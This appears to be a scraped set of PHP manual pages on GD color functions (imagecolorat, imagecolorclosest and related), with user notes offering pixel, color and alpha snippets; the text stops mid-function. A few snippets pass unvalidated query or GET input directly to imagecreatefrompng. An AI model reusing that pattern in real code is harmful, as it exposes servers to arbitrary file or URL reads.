            $pxlCorArr = ImageColorsForIndex($imgHand, $pxlCor);
            $htmlCor = DecHex($pxlCorArr["red"]&240) . DecHex($pxlCorArr["red"]&240) . DecHex($pxlCorArr["red"]&240);
            $grey[convert($htmlCor)/16]++;
        }
    }

    for ($i=0;$i<16;$i++){
        echo 'greyvalue '.$i.' : '.$grey[$i].'<br>';
    }
    echo '<br><br>Status: <b>'.status(count($grey)).'</b><br>';

    function convert($color){
        $hexdec=HexDec($color)&240;
        $decbin=DecBin($hexdec);
        $decbin = substr("00000000",0,8 - strlen($decbin)) . $decbin;
        $bindec = BinDec($decbin);
        return $bindec;
    }

    function status($range){
        if ($range >= 13) return "Heavy Clouds";
        elseif ($range > 9 && $range < 13) return "Cloudy";
        elseif ($range > 4 && $range <=9) return "Light cloudy";
        elseif ($range <= 4) return "Clear";
    }
?>
Richard 20-Sep-2008 08:49
With the following functions you can not only convert a 24 bit RGB integer to its corresponding red, green, and blue values, but also 32 bit RGBA integers to its corresponding red, green, blue, and ALPHA values.

Not only that, but I even threw in a function for converting those red, green, blue, and alpha values back into a 32 bit RGBA integer.

Sample usage:
<?php
$int = rgba2int(255, 255, 255, 16);
echo $int . "<br>";
$rgba = int2rgba($int);
print_r($rgba);
?>

What it should output:
285212671
Array
(
    [r] => 255
    [g] => 255
    [b] => 255
    [a] => 16
)

<?php
function rgba2int($r, $g, $b, $a=1) {
    /*
    This function builds a 32 bit integer from 4 values which must be 0-255 (8 bits)
    Example 32 bit integer: 00100000010001000000100000010000
    The first 8 bits define the alpha
    The next 8 bits define the blue
    The next 8 bits define the green
    The next 8 bits define the red
    */
    return ($a << 24) + ($b << 16) + ($g << 8) + $r;
}

function int2rgba($int) {
    $a = ($int >> 24) & 0xFF;
    $r = ($int >> 16) & 0xFF;
    $g = ($int >> 8) & 0xFF;
    $b = $int & 0xFF;
    return array('r'=>$r, 'g'=>$g, 'b'=>$b, 'a'=>$a);
}
?>
Scott Thompson (VBAssassin) 16-Apr-2008 02:02
I've found this function very useful when wanting to manipulate an existing image. An example would be to simply flip an image (source code here: http://www.coderprofile.com/source-code/372/ )

The principle i use a lot is to scan through an image pixel by pixel performing some kind of action on that pixel... and then saving the newly created pixel on to a new canvas ready to display to the browser.

The only problem i find is speed... so some kind of caching mechanism and dimensions limitation on images that are processed is recommended for high traffic use.

Kind regards,
Scott
p h o c i s [a-t] g m a i l c o m 20-Nov-2007 06:47
I believe GD has an issue with transparent mattes and alpha blending. It seems GD thinks that some images have a black matte transparency (meaning that the image is built on a black matte instead of transparent).

And while "alan hogan dot com slash contact" solution does deal with this, the results seem to be... glitchy. you get different results each time you do it, and they are not always the best.

So I made a different solution that, while it looks better on a white background and is consistent, still sort of mangles the image just a bit by merging all blended pixels with the transparent color.

// Load image
$img = imagecreatefrompng('my_broken_png.png');

// Make matte canvas
$matte = imagecreatetruecolor(16,16);
$trans_color = imagecolorallocatealpha($matte,254,254,254,0);
imagefill($matte, 0,0,$trans_color);

// Put the old image on the matte
imagecopy($matte,$img,0,0,0,0,16,16);

// Turn the matte color into full alpha (blended pixels will not be affected)
imagecolortransparent($matte,$trans_color);

// Display image
header('Content-Type: image/gif');
imagegif($matte);
alan hogan dot com slash contact 12-Nov-2007 11:44
As creamdog noted before, the alpha channel IS available from this function! (The manual should probably be updated to include this!)

$rgba = imagecolorat($im,$x,$y);
$alpha = ($rgba & 0x7F000000) >> 24;

$alpha will then contain the TRANSPARENCY (NOT OPACITY) level. So 127, the max, would be completely transparent, and 0 would be completely opaque.

Using this information, it is possible to write a dithering png-to-gif function like the completely working simple one below:

<?php
$im = imagecreatefrompng($pngRel);
        $transparentColor = imagecolorallocate($im, 0xfe, 0x3, 0xf4 );
        $height = imagesy($im);
        $width = imagesx($im);
        for($x = 0; $x < $width; $x++){
            for($y = 0; $y < $height; $y++) {
                $alpha = (imagecolorat($im,$x,$y) & 0x7F000000) >> 24;
                //DITHER!
                if ($alpha > 3 && (
                        $alpha >=127-3 ||
                        (rand(0,127))>=(127-$alpha)
                    )){
                    imagesetpixel($im,$x,$y,$transparentColor);
                }

            }
        }
        imagecolortransparent($im, $transparentColor);
        imagegif($im, $gifRel);//save
        header("Content-type: image/gif");
        readfile($gifRel); //pass thru to browser

?>
pocze_zsolt at hotmail dot com 15-Sep-2007 01:55
This is a histogram-stretching function to get a better contrast:

function contrast_stretch( $img ) {
    $x = imagesx($img);
    $y = imagesy($img);

    $min=255.0;
    $max=0.0;

    for($i=0; $i<$y; $i++) {
    for($j=0; $j<$x; $j++) {
        $pos = imagecolorat($img, $j, $i);
        $f = imagecolorsforindex($img, $pos);
        $gst = $f["red"]*0.15 + $f["green"]*0.5 + $f["blue"]*0.35;
        if($gst>$max) $max=$gst;
        if($gst<$min) $min=$gst;
    }
    }

    $distance = $max-$min;

    for($i=0; $i<$y; $i++) {
    for($j=0; $j<$x; $j++) {
        $pos = imagecolorat($img, $j, $i);
        $f = imagecolorsforindex($img, $pos);

        $red = 255*($f["red"]-$min)/$distance;
        $green = 255*($f["green"]-$min)/$distance;
        $blue = 255*($f["blue"]-$min)/$distance;

        if($red<0) $red = 0.0;
        elseif($red>255) $red=255.0;

        if($green<0) $green = 0.0;
        elseif($green>255) $green=255.0;

        if($blue<0) $blue = 0.0;
        elseif($blue>255) $blue=255.0;

        $color = imagecolorresolve($img, $red, $green, $blue);
        imagesetpixel($img, $j, $i, $color);
    }
    }
}
markignore.atsymbol.ignorepnod.co.uk 01-Aug-2007 01:58
The example given for returning the RGB values from the function (using & 0xFF) didn't work for me for PNG or GIF images. If you have this problem, try the following (which works):

<?php
  $pixelrgb = imagecolorat($source,$x,$y);
  $cols = imagecolorsforindex($source, $pixelrgb);
  $r = $cols['red'];
  $g = $cols['green'];
  $b = $cols['blue'];
?>
Gromitt 06-Mar-2007 05:17
imagecolorat() will display a Notice if you attempt to query a pixel which is out of bounds, and will return false :

<?php

$img = imagecreatefromjpeg('test.jpg');
var_dump(imagecolorat($img, -1, 0));

?>

Output :

Notice: imagecolorat(): -1,0 is out of bounds in /test.php on line 4
bool(false)
29-Nov-2006 01:45
//test if a Jpeg is greyscale or color

function iscolor($pic_adress){

// A Pixel is Greyscale if the r = B = G
    //example: colorpixel R=250, G=140 , B=19  Greyscale Pixel R=110, G= 110, B=110

    //we do a check of 10 Pixels to find out if the Picture is Greyscale
    $tocheck = 10;

    $iscolor=false;

    $temp= getimagesize($pic_adress);

    $x= $temp[0];
    $y= $temp[1];

    $im= imagecreatefromjpeg($pic_adress);

    //now check out the Pixels
    for( $i = 0 ; $i< $tocheck && !$iscolor; $i++){

    // Here a Random Pixel is chosen
    $color = imagecolorat($im,rand(0,$x),rand(0,$y));

    //Problem color is an int
    //The Hex view on the number is RRGGBB
    // Here we get the blue part of the Pixel
    $blue = 0x0000ff & $color;

    $green = 0x00ff00 & $color;
   //The Green part we have to push 8 bits to the right to get an Compareable result
    $green = $green >> 8;
    $red =0xff0000 & $color;
    //red part needs to be pushed 16 bit
    $red = $red >> 16;
    // if one of the Pixels isnt Greyscale it breaks an you know this is a color picture
    if( $red!= $green || $green!= $blue){
        $iscolor = true;
        break;
        }
    }
    return $iscolor;

}
Luciano Ropero 27-Oct-2006 08:31
I made a function that calculates the average color of a given image resource and returns it in "#rrggbb" format (hex):

function average($img) {
    $w = imagesx($img);
    $h = imagesy($img);
    $r = $g = $b = 0;
    for($y = 0; $y < $h; $y++) {
        for($x = 0; $x < $w; $x++) {
            $rgb = imagecolorat($img, $x, $y);
            $r += $rgb >> 16;
            $g += $rgb >> 8 & 255;
            $b += $rgb & 255;
        }
    }
    $pxls = $w * $h;
    $r = dechex(round($r / $pxls));
    $g = dechex(round($g / $pxls));
    $b = dechex(round($b / $pxls));
    if(strlen($r) < 2) {
        $r = 0 . $r;
    }
    if(strlen($g) < 2) {
        $g = 0 . $g;
    }
    if(strlen($b) < 2) {
        $b = 0 . $b;
    }
    return "#" . $r . $g . $b;
}

Although, I've noticed that you can also get a fairly good average color generating a 1px by 1px copy with imagecopyresampled (the pixel generated is colored with the average color).
NuclearFlux 17-Oct-2006 06:01
code part from robert:
   $output .= '<div style="position:relative;float:left;width:' .
   $div_width . 'px;height:1px;background-color:' .
   hexcolor((($div_width > 1)?
   $previous_color:$current_color)) . '"><img src="bogus.gif"
   alt="" width="1" height="1" /></div>';

i've optimized this part so that no image is needed:

   $output .= '<div
   style="position:relative;float:left;max-width:1px>;
   max-height:1px;background-color:'.
   hexcolor((($div_width > 1)?
   $previous_color:$current_color)).'">&nbsp;</div>';

//sorry for my english, i'm a german xD
morten at nilsen dot com 11-Sep-2006 05:17
A better way of encoding a color value to #rrggbb:

<?php
  printf('#%06x',$c);
?>

or

<?php
  $rgb = sprintf('#%06x',$c);
?>
creamdog 20-Apr-2006 01:48
If you look in the gd library for C in gd.h you have the following defined for truecolor images.

#define gdTrueColorGetAlpha(c) (((c) & 0x7F000000) >> 24)
#define gdTrueColorGetRed(c) (((c) & 0xFF0000) >> 16)
#define gdTrueColorGetGreen(c) (((c) & 0x00FF00) >> 8)
#define gdTrueColorGetBlue(c) ((c) & 0x0000FF)

So in php you could just do it as so:

$rgba = imagecolorat($im,$x,$y);
$alpha = ($rgba & 0x7F000000) >> 24;
$red = ($rgba & 0xFF0000) >> 16;
$green = ($rgba & 0x00FF00) >> 8;
$blue = ($rgba & 0x0000FF);

And there you have what you would need if you have a truecolor image with an alpha channel.
robert at future-vision dot nl 16-Dec-2005 01:53
Look mom, no tables :)

I made some changes to the code from 'hazard AT krankteil DOTTILLYDO de' so the function would output a div that displays the image.

As for the size of the outputted file I can say the original png file was lots smaller, but maybe its a nice feature for small buttons or such.

The way you can use it is the same as the code from 'hazard AT krankteil DOTTILLYDO de'.

litle note: each div contains a bogus image. When this is not in IE will screw up the output.

<?
    function hexcolor($c) {
        $r = ($c >> 16) & 0xFF;
        $g = ($c >> 8) & 0xFF;
        $b = $c & 0xFF;
        return '#'.str_pad(dechex($r), 2, '0', STR_PAD_LEFT).str_pad(dechex($g), 2, '0', STR_PAD_LEFT).str_pad(dechex($b), 2, '0', STR_PAD_LEFT);
    }

    function png2div($filename) {

        $img = imagecreatefrompng($filename);
        $width = imagesx($img);
        $height = imagesy($img);
        $div_width = 1;
        $previous_color = 0;

        $output = '<div style="position:relative;width:' . $width . 'px;height:'. $height .'px;">';

        for($y = 0;$y < $height;++$y){

            for($x = 0;$x < $width;++$x){

                $current_color = ImageColorAt($img, $x, $y);

                if($current_color == $previous_color && $x < $width-1){
                    ++$div_width;
                }
                else{
                    $output .= '<div style="position:relative;float:left;width:' . $div_width . 'px;height:1px;background-color:' . hexcolor((($div_width > 1)? $previous_color:$current_color)) . '"><img src="bogus.gif" alt="" width="1" height="1" /></div>';
                    $previous_color = $current_color;
                    $div_width = 1;
                }
            }
            ob_flush();
        }

        $output .= '</div>';

        return $output;

    }

?>
hazard AT krankteil DOTTILLYDO de 12-Nov-2005 09:23
I saw this png to table code.. and i had written one before =)

My code does nearly the same as the one posted.. but it will compress the table with the help of colspan :)

http://hazard.krankteil.de/stuff/pngtable/imgtest.php

Code:
http://hazard.krankteil.de/stuff/pngtable/imgtest.phps
http://hazard.krankteil.de/stuff/pngtable/image.phps

It's senseless? Well maybe but kinda cool :) Try 5 or 10 as second argument for pngtable() =)
T. Dekker 27-Oct-2005 09:40
In GD 2.x there is support for true color images complete with an alpha channel. GD 2.x has a 7-bit (0-127) alpha channel.

While most people are used to an 8-bit (0-255) alpha channel, it is actually quite handy that GD's is 7-bit (0-127). Each pixel is represented by a 32-bit signed integer, with the four 8-bit bytes arranged like this:

 High Byte <--> Low Byte
{Alpha Channel} {Red} {Green} {Blue}

For a signed integer, the leftmost bit, or the highest bit, is used to indicate whether the value is negative, thus leaving only 31 bits of actual information. PHP's default integer value is a signed long into which we can store a single GD palette entry. Whether that integer is positive or negative tells us whether antialiasing is enabled for that palette entry.
swimgod 02-Sep-2005 10:36
this function i made will compare two($start-$finish) images and change the pixels with diffrent colors in the "finish" image
then displays them both next to each other in one image

another feature is "display" which will echo text
"50% on
50% off"-% count(if the number is lower then 1 it will go into one decamil count

or type "2" will be
"10023 on
3000 off"-pixel count

one last feature is "color"
which you define in an array
$color = array("r" => "244","g" => "122","b" => "100");

to finish up the discrpition im gonna show this "map" of my function
compare($start, $finish[, $color[, $display[, $type]]])
image-url($start) - base image URL
image-url($finish) - compare image URL
array($color) - array with keys "r", "g", "b" r being RED 0-255 g being GREEN 0-255 b being BLUE 0-255
bool($display) - 1 OR TRUE will return text stats from compare
int($type) - 1 OR 0 | 1 being % results | 0 being pixel results

<?
function compare($start, $finish, $color, $display, $type){

$im = ImageCreateFrompng($start);
$im2 = ImageCreateFrompng($finish);
$img['x'] = imagesx($im);
$img['y'] = imagesy($im);
$img2['x'] = imagesx($im2);
$img2['y'] = imagesy($im2);
if(($img['x'] == $img2['x']) && ($img['y'] == $img2['y'])){

//get and set image hieght and width
$i = array("width" =>  $img['x']*2, "height" => $img['y']);
$im3 = imagecreatetruecolor($i['width'], $i['height']);
if($color){
$color = imagecolorallocate($im3, $color['r'], $color['g'], $color['b']);
}else{

$color = imagecolorallocate($im3, 255, 255, 255);
}
for($y = $img['y'];$y > 0; $y--){
for($x = $img['x'];$x > 0; $x--){
if(ImageColorAt($im, $x, $y) == ImageColorAt($im2, $x, $y)){
$on = $on+1;
$rgb = ImageColorAt($im, $x, $y);
Imagesetpixel($im3, $img['x']+$x, $y, $rgb);
}else{
$off = $off+1;
imagesetpixel($im3, $img['x']+$x, $y , $color);
}
}
}
if($display == true){
if(($type == "1") || (!$type)){
$off2 = (round(($off / $on)*10));
if(($off2 == 0) && ($off > 0)){
$off2 = round(($off / $on)*10)*10;
}
$on2 = (100-$off2);
$off2 .="%";
$on2 .="%";
}else{
$off2 = $off;
$on2 = $on;
}
echo $off2 ." off<br>". $on2 ." on";
}else{
imagecopy($im3, $im, 0, 0, 0, 0, $img['x'], $img['y']);
@header("Content-type: image/png");
imagepng($im3);
imagedestroy($im3);
}
imagedestroy($im);
imagedestroy($im2);
return TRUE;
}else{
return False;
}
}
?>
Super Moi 28-Aug-2005 05:31
Here is a contribution for change tint.

function colorize($path_image, $red, $green, $blue)
{
      $im = imagecreatefrompng($path_image);
    $pixel = array();

    $n_im = imagecreatetruecolor(imagesx($im),imagesy($im));
    $fond = imagecolorallocatealpha($n_im, 255, 255, 255, 0);
    imagefill($n_im, 0, 0, $fond);

    for($y=0;$y<imagesy($n_im);$y++)
    {
        for($x=0;$x<imagesx($n_im);$x++)
        {
            $rgb = imagecolorat($im, $x, $y);
            $pixel = imagecolorsforindex($im, $rgb);

            $r = min(round($red*$pixel['red']/169),255);
            $g = min(round($green*$pixel['green']/169),255);
            $b = min(round($blue*$pixel['blue']/169),255);
            $a = $pixel['alpha'];
            //echo('red : '.$pixel['red'].' => '.$r.', green : '.$pixel['green'].' => '.$g.', blue : '.$pixel['blue'].' => '.$b.', alpha : '.$pixel['alpha'].' => '.$a.'<br>');

            $pixelcolor = imagecolorallocatealpha($n_im, $r, $g, $b, $a);

            imagealphablending($n_im, TRUE);
            imagesetpixel($n_im, $x, $y, $pixelcolor);
        }
    }

       imagepng($n_im,'test.png');
       imagedestroy($n_im);
}
bpgordon at gmail dot com 23-May-2005 11:55
(the previous post was mistyped; please delete)

The following code converts a png image to an html table made up of colored 1x1 cells. Put the path (relative to the location of the script) to the image to be converted in the query, like this: http://yoursite.com/conv.php?image.png
Remember that you can only use a remote path if remote fopen is enabled.

<?php
print "<table border=0 cellpadding=0 cellspacing=0><tr>";
$image = imagecreatefrompng($_ENV["QUERY_STRING"]);
$xdim = imagesx($image);
$ydim = imagesy($image);
for ($x = 1; $x <= $xdim-1; $x++) {
for ($y = 1; $y <= $ydim-1; $y++) {
$rgb = imagecolorat($image, $x, $y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
print "<td width=\"1\" height=\"1\" style=\"background-color: rgb($r, $g, $b);\"></td>";
}
print "</tr><tr>";
}
print "</tr></table>";
?>
bpgordon at gmail dot com 22-May-2005 07:19
The following code converts a png image to an html table made up of colored 1x1 cells. Put the path (relative to the location of the script) to the image to be converted in the query, like this: http://yoursite.com/conv.php?image.png
Remember that you can only use a remote path if remote fopen is enabled.

<?php
print "&lt;table border=0 cellpadding=0 cellspacing=0&gt;&lt;tr&gt;";
$image = imagecreatefrompng($_ENV["QUERY_STRING"]);
$xdim = imagesx($image);
$ydim = imagesy($image);
for ($x = 1; $x &lt;= $xdim-1; $x++) {
for ($y = 1; $y &lt;= $ydim-1; $y++) {
$rgb = imagecolorat($image, $x, $y);
$r = ($rgb &gt;&gt; 16) & 0xFF;
$g = ($rgb &gt;&gt; 8) & 0xFF;
$b = $rgb & 0xFF;
print "&lt;td width=\"1\" height=\"1\" style=\"background-color: rgb($r, $g, $b);\"&gt;&lt;/td&gt;";
}
print "&lt;/tr&gt;&lt;tr&gt;";
}
print "&lt;/tr&gt;&lt;/table&gt;";
?>
sys NO SPAM coder at gmail dot NOSPAM dot com 26-Apr-2005 12:40
Just for fun: another snippet for drawing images using html only X)

<html>
<head>
<style>
<!--
body {
font-family: courier new, courier;
font-size: 7pt;
background: #000000;
color: #000000;
}
-->
</style>
</head>
<body>
<font color="#000000">
<?php

$im = ImageCreateFromPng($_GET['img']);

$lastcolor=0;
for($y=0;$y<imagesy($im);$y++)
{
  for($x=0;$x<imagesx($im);$x++)
  {
    $pixel = ImageColorAt($im, $x, $y);
    if($lastcolor != $pixel)
    {
      printf('</font><font color="#%06x">', $pixel);
      $lastcolor = $pixel;
    }
    echo "*";
  }
  echo "<br />";
}

?>
</font>
</body>
</html>
18-Jan-2005 11:08
Optimal:
<?php
$rgb = imagecolorat($im, $x, $y);
$r = ($rgb >> 16);
$g = ($rgb >> 8) & 255;
$b = $rgb & 255;
?>
As you see, you can also use decimal values (faster).
mumig at poczta dot onet dot pl 27-Feb-2004 05:13
imagecolorat() works differently for png's with true color and for paletted png's - for true color it returns value of color, for paletted it returns index number and you have to use  imagecolorsforindex() to get rgb color value.
geat AT zoom DOT co DOT uk 10-Jun-2003 01:35
The HTML image renderer didn't work for me for some reason, but here's a version that does...

echo '<table border="0" cellspacing="0" cellpadding="0">';
$im = ImageCreateFromJPEG("IMAGE NAME");
$width = imagesx($im);
$height = imagesy($im);
for ($cy=0;$cy<$height;$cy++) {
  echo '<tr>';
  for ($cx=0;$cx<$width;$cx++) {
    $rgb = ImageColorAt($im, $cx, $cy);
    $col = imagecolorsforindex($im, $rgb);
    printf('<td width="2" height="2" bgcolor=#%02x%02x%02x></td>', $col["red"], $col["green"], $col["blue"]);
  }
echo '</tr>';
}
echo '</table>';
28-May-2003 05:54
Just for fun, here is a little snippet that "paints" a image in html only. Try it out with very small images, as this is a real browser-killer. mozilla > 120mb ram, ie > 100mb with a 300x200 image :-)

$file = "image.png";
$im = imagecreatefrompng($file);
$size_arr = getimagesize($file);

echo "<table width=".$size_arr[0]." height=".$size_arr[1]." cellpadding=0 cellspacing=0 border=0>";
for ($y=0; $y<$size_arr[1]; $y++) {
    echo "<tr>";
    for ($x=0; $x<$size_arr[0]; $x++) {
        $rgb = ImageColorAt($im, $x, $y);
        printf("<td width=1 bgcolor=%06x><img width=1></td>", $rgb);
    }
    echo "</tr>";
}
echo "</table>";
pete at spamisbad_holidian dot com 05-Jul-2002 09:36
If you have a truecolor image and absolutely need to get the actual color of a pixel, it seems like you could create a 16x16 indexed color image from a part of the True Color image containing the pixel(s) in question. Then you should be able to guarantee that the indexed sample has the indentical colors to the True Color image. you can then use this function to get the color index of a pixel in the sample.

Obviously, this would be an intensive way to get pixel colors, especially for a large image, but as far as I can tell, it's one of the very few ways to do it right now.


Get the index of the closest color to the specified color

  • « imagecolorat
  • imagecolorclosestalpha »
  • PHP Manual
  • GD and Image Functions
  • Get the index of the closest color to the specified color

imagecolorclosest

(PHP 4, PHP 5)

imagecolorclosest — Get the index of the closest color to the specified color

Description

int imagecolorclosest ( resource $image , int $red , int $green , int $blue )

Returns the index of the color in the palette of the image which is "closest" to the specified RGB value.

The "distance" between the desired color and each color in the palette is calculated as if the RGB values represented points in three-dimensional space.

If you created the image from a file, only colors used in the image are resolved. Colors present only in the palette are not resolved.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

The colors parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF.

Return Values

Returns the index of the closest color, in the palette of the image, to the specified one

Examples

Example #1 Search for a set of colors in an image

<?php
// Start with an image and convert it to a palette-based image
$im = imagecreatefrompng('figures/imagecolorclosest.png');
imagetruecolortopalette($im, false, 255);

// Search colors (RGB)
$colors = array(
    array(254, 145, 154),
    array(153, 145, 188),
    array(153, 90, 145),
    array(255, 137, 92)
);

// Loop through each search and find the closest color in the palette.
// Return the search number, the search RGB and the converted RGB match
foreach($colors as $id => $rgb)
{
    $result = imagecolorclosest($im, $rgb[0], $rgb[1], $rgb[2]);
    $result = imagecolorsforindex($im, $result);
    $result = "({$result['red']}, {$result['green']}, {$result['blue']})";

    echo "#$id: Search ($rgb[0], $rgb[1], $rgb[2]); Closest match: $result.\n";
}

imagedestroy($im);
?>

The above example will output something similar to:

#0: Search (254, 145, 154); Closest match: (252, 150, 148).
#1: Search (153, 145, 188); Closest match: (148, 150, 196).
#2: Search (153, 90, 145); Closest match: (148, 90, 156).
#3: Search (255, 137, 92); Closest match: (252, 150, 92).

See Also

  • imagecolorexact() - Get the index of the specified color
  • imagecolorclosestalpha() - Get the index of the closest color to the specified color + alpha
  • imagecolorclosesthwb() - Get the index of the color which has the hue, white and blackness

User Contributed Notes

info at codeworx dot ch 09-Nov-2011 11:21
Here is a function that compares two HEX colors for similarity. This can be useful if you want to detect colors that are not different enough to see for the naked eye. It returns a bool: TRUE if the colors are similar to each other (within tolerance) or FALSE if they are different enough.
I tested a few colors and came up with a tolerance of 35 (rgb value - should be between 0 and 255) but you can change that tolerance by passing a third parameter to the function.

<?php
function compareColors ($col1, $col2, $tolerance=35) {
    $col1Rgb = array(
        "r" => hexdec(substr($col1, 0, 2)),
        "g" => hexdec(substr($col1, 2, 2)),
        "b" => hexdec(substr($col1, 4, 2))
    );
    $col2Rgb = array(
        "r" => hexdec(substr($col2, 0, 2)),
        "g" => hexdec(substr($col2, 2, 2)),
        "b" => hexdec(substr($col2, 4, 2))
    );
    return ($col1Rgb['r'] >= $col2Rgb['r'] - $tolerance && $col1Rgb['r'] <= $col2Rgb['r'] + $tolerance) && ($col1Rgb['g'] >= $col2Rgb['g'] - $tolerance && $col1Rgb['g'] <= $col2Rgb['g'] + $tolerance) && ($col1Rgb['b'] >= $col2Rgb['b'] - $tolerance && $col1Rgb['b'] <= $col2Rgb['b'] + $tolerance);
}
?>
MagicalTux at FF dot st 28-Jun-2005 03:22
A way to get each time an answer :

<?php
function imagegetcolor($im, $r, $g, $b) {
        $c=imagecolorexact($im, $r, $g, $b);
        if ($c!=-1) return $c;
        $c=imagecolorallocate($im, $r, $g, $b);
        if ($c!=-1) return $c;
        return imagecolorclosest($im, $r, $g, $b);
}
?>

If the *exact* color is found in the image, it will be returned. If we don't have the exact color, we try to allocate it. If we can't allocate it, we return the closest color in the image.
Vikrant Korde <vakorde at hotmail dot com> 11-Oct-2003 05:10
This functuion is useful when you are dealing with previously present images like .png, .jpg, etc. You can use this function for writing a text on the image.

For me the function imagecolorallocate() was returning the -1 value. after lot of RnD and site search i found a function use of imagecolorclosest(). This solved my problem of writing the text on the image with customised color.

Actually previously it was writing on the image but the color was not distinct. It was using the same color as of that background image.

The following code segment was fine with me.

header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("BlankButton.jpg");
$white = imageColorClosest($im, 255,255,255);
// this is for TTF fonts
imagettftext ($im, 20, 0, 16, 30, $white, "/usr/X11R6/lib/X11/fonts/TTF/luximb.ttf", "Vikrant");

//this is for notmal font
imagestring($im, 4, 0,0,"Korde", $white);
imagejpeg($im,"",150);
imagedestroy ($im);


Get the index of the closest color to the specified color + alpha

  • « imagecolorclosest
  • imagecolorclosesthwb »
  • PHP Manual
  • GD and Image Functions
  • Get the index of the closest color to the specified color + alpha

imagecolorclosestalpha

(PHP 4 >= 4.0.6, PHP 5)

imagecolorclosestalpha — Get the index of the closest color to the specified color + alpha

Description

int imagecolorclosestalpha ( resource $image , int $red , int $green , int $blue , int $alpha )

Returns the index of the color in the palette of the image which is "closest" to the specified RGB value and alpha level.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

alpha

A value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent.

The colors parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF.

Return Values

Returns the index of the closest color in the palette.

Examples

Example #1 Search for a set of colors in an image

<?php
// Start with an image and convert it to a palette-based image
$im = imagecreatefrompng('figures/imagecolorclosest.png');
imagetruecolortopalette($im, false, 255);

// Search colors (RGB)
$colors = array(
    array(254, 145, 154, 50),
    array(153, 145, 188, 127),
    array(153, 90, 145, 0),
    array(255, 137, 92, 84)
);

// Loop through each search and find the closest color in the palette.
// Return the search number, the search RGB and the converted RGB match
foreach($colors as $id => $rgb)
{
    $result = imagecolorclosestalpha($im, $rgb[0], $rgb[1], $rgb[2], $rgb[3]);
    $result = imagecolorsforindex($im, $result);
    $result = "({$result['red']}, {$result['green']}, {$result['blue']}, {$result['alpha']})";

    echo "#$id: Search ($rgb[0], $rgb[1], $rgb[2], $rgb[3]); Closest match: $result.\n";
}

imagedestroy($im);
?>

The above example will output something similar to:

#0: Search (254, 145, 154, 50); Closest match: (252, 150, 148, 0).
#1: Search (153, 145, 188, 127); Closest match: (148, 150, 196, 0).
#2: Search (153, 90, 145, 0); Closest match: (148, 90, 156, 0).
#3: Search (255, 137, 92, 84); Closest match: (252, 150, 92, 0).

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagecolorexactalpha() - Get the index of the specified color + alpha
  • imagecolorclosest() - Get the index of the closest color to the specified color
  • imagecolorclosesthwb() - Get the index of the color which has the hue, white and blackness

User Contributed Notes

There are no user contributed notes for this page.


Get the index of the color which has the hue, white and blackness

  • « imagecolorclosestalpha
  • imagecolordeallocate »
  • PHP Manual
  • GD and Image Functions
  • Get the index of the color which has the hue, white and blackness

imagecolorclosesthwb

(PHP 4 >= 4.0.1, PHP 5)

imagecolorclosesthwb — Get the index of the color which has the hue, white and blackness

Description

int imagecolorclosesthwb ( resource $image , int $red , int $green , int $blue )

Get the index of the color which has the hue, white and blackness nearest the given color.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

Return Values

Returns an integer with the index of the color which has the hue, white and blackness nearest the given color.

Examples

Example #1 Example of using imagecolorclosesthwb()

<?php
$im = imagecreatefromgif('php.gif');

echo 'HWB: ' . imagecolorclosesthwb($im, 116, 115, 152);

imagedestroy($im);
?>

The above example will output something similar to:

HWB: 33

Changelog

Version | Description
5.3.0 | This function is now available on Windows

See Also

  • imagecolorclosest() - Get the index of the closest color to the specified color

User Contributed Notes

Xong 22-Jun-2009 12:56
I have written a function which uses the deltaE-function of the CMC.
It returns much better results than imagecolorclosestHWB() or imageColorClosest().

A test-script is online on http://www.fuhrpark-software.de/spielwiese/color.php?color=ffff00

<?php
/*
 * Returns the index of the palette-color which is most similar
 * to $givenColor.
 *
 * $givenColor and the colors in $palette should be either
 * formatted as (#)rrggbb
 * (e. g. "ff0000", "4da4f3" or "#b5d7f3")
 * or arrays with values for red, green and blue
 * (e. g. $givenColor = array( 0xff, 0x00, 0x00 ) )
 *
 * References:
 * function rgb2lab
 *   - http://www.f4.fhtw-berlin.de/~barthel/ImageJ/ImageJ.htm
 *
 * function rgb2lab & function deltaE
 *   - http://www.brucelindbloom.com
 */
function getNearestColor(
  $givenColor,
  $palette = array( 'blue' => '43aafd','red' => 'fe6256','green' => '64b949','yellow' => 'fcf357',
    'black' => '656565','white' => 'fdfdfd','orange' => 'fea800','purple' => '9773fe')
) {
  if(!function_exists('rgb2lab')) {
    function rgb2lab($rgb) {
      $eps = 216/24389; $k = 24389/27;
      // reference white D50
      $xr = 0.964221; $yr = 1.0; $zr = 0.825211;

      $rgb[0] = $rgb[0]/255; //R 0..1
      $rgb[1] = $rgb[1]/255; //G 0..1
      $rgb[2] = $rgb[2]/255; //B 0..1

      // assuming sRGB (D65)
      $rgb[0] = ($rgb[0] <= 0.04045)?($rgb[0]/12.92):pow(($rgb[0]+0.055)/1.055,2.4);
      $rgb[1] = ($rgb[1] <= 0.04045)?($rgb[1]/12.92):pow(($rgb[1]+0.055)/1.055,2.4);
      $rgb[2] = ($rgb[2] <= 0.04045)?($rgb[2]/12.92):pow(($rgb[2]+0.055)/1.055,2.4);

      // sRGB D50
      $x =  0.4360747*$rgb[0] + 0.3850649*$rgb[1] + 0.1430804 *$rgb[2];
      $y =  0.2225045*$rgb[0] + 0.7168786*$rgb[1] + 0.0606169 *$rgb[2];
      $z =  0.0139322*$rgb[0] + 0.0971045*$rgb[1] + 0.7141733 *$rgb[2];

      $xr = $x/$xr; $yr = $y/$yr; $zr = $z/$zr;

      $fx = ($xr > $eps)?pow($xr, 1/3):($fx = ($k * $xr + 16) / 116);
      $fy = ($yr > $eps)?pow($yr, 1/3):($fy = ($k * $yr + 16) / 116);
      $fz = ($zr > $eps)?pow($zr, 1/3):($fz = ($k * $zr + 16) / 116);

      $lab = array();
      $lab[] = round(( 116 * $fy ) - 16);
